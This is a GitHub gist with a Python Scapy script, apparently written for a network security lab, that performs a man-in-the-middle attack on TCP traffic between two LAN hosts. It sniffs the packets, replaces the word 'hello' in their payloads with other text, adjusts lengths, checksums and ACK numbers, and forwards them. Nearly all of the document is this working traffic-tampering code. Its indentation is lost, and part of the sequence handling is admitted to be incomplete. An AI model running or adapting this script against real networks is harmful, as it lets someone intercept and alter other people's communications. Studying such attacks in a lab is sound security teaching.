Skip to content

Instantly share code, notes, and snippets.

@rodolpheh
Last active April 4, 2019 21:11
Show Gist options
  • Save rodolpheh/8c38044816c8daae3353d32fff420bf1 to your computer and use it in GitHub Desktop.
Save rodolpheh/8c38044816c8daae3353d32fff420bf1 to your computer and use it in GitHub Desktop.
Scapy script for network security TP 1
from scapy.all import sniff, sendp
machine2_ip = "192.168.1.151"
machine1_ip = "192.168.1.220"
attacker_mac = "0c:2b:52:23:ca:00"
machine2_mac = "7a:fe:a8:d7:b3:b5"
machine1_mac = "e2:34:29:f8:d4:4a"
target_word = "hello"
replacement = "A very good day sir !"
machine2_expected_ack = None
machine1_expected_ack = None
def replace_in_payload(pkt, old, new):
global machine2_expected_ack
try:
payload = pkt["Raw"].load
print "-> Current payload : " + payload
if old in payload:
# Modify payload and compute new payload size
old_size = len(payload)
payload = payload.replace(old, new)
print "-> New payload : " + payload
new_size = len(payload)
size_diff = new_size - old_size
# Set the new load and the new TCP segment size
pkt["Raw"].load = payload
pkt["IP"].len = pkt["IP"].len + size_diff
machine2_expected_ack = pkt["TCP"].seq + old_size
except IndexError:
pass
return pkt
def forward(pkt):
# Remove the destination and source MAC, those will be recalculated
pkt["Ether"].dst = None
pkt["Ether"].src = None
# Remove the checksums, those will be recalculated
try:
del pkt["TCP"].chksum
del pkt["IP"].chksum
del pkt["UDP"].chksum
except IndexError:
pass
#pkt.show2()
sendp(pkt, iface="eth0")
def parse(pkt):
global machine2_expected_ack
global machine1_expected_ack
print pkt.summary()
if pkt["IP"].dst == machine2_ip and pkt["Ether"].dst != machine2_mac and pkt["Ether"].src != attacker_mac:
print "-> Machine 2 is the destination, forwarding"
pkt = replace_in_payload(pkt, target_word, replacement)
# If the previous message was modified, change the ACK
# (part not really implemented)
if machine1_expected_ack is not None:
print "-> Modifying SEQ and ACK"
pkt["TCP"].ack = machine1_expected_ack
machine1_expected_ack = None
forward(pkt)
if pkt["IP"].dst == machine1_ip and pkt["Ether"].dst != machine1_mac and pkt["Ether"].src != attacker_mac:
print "-> Machine 1 is the destination, forwarding"
# If the previous message was modified, change the ACK
if machine2_expected_ack is not None:
print "-> Modifying SEQ and ACK"
pkt["TCP"].ack = machine2_expected_ack
machine2_expected_ack = None
forward(pkt)
if __name__ == "__main__":
pkts = sniff(filter="tcp", prn=parse)
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment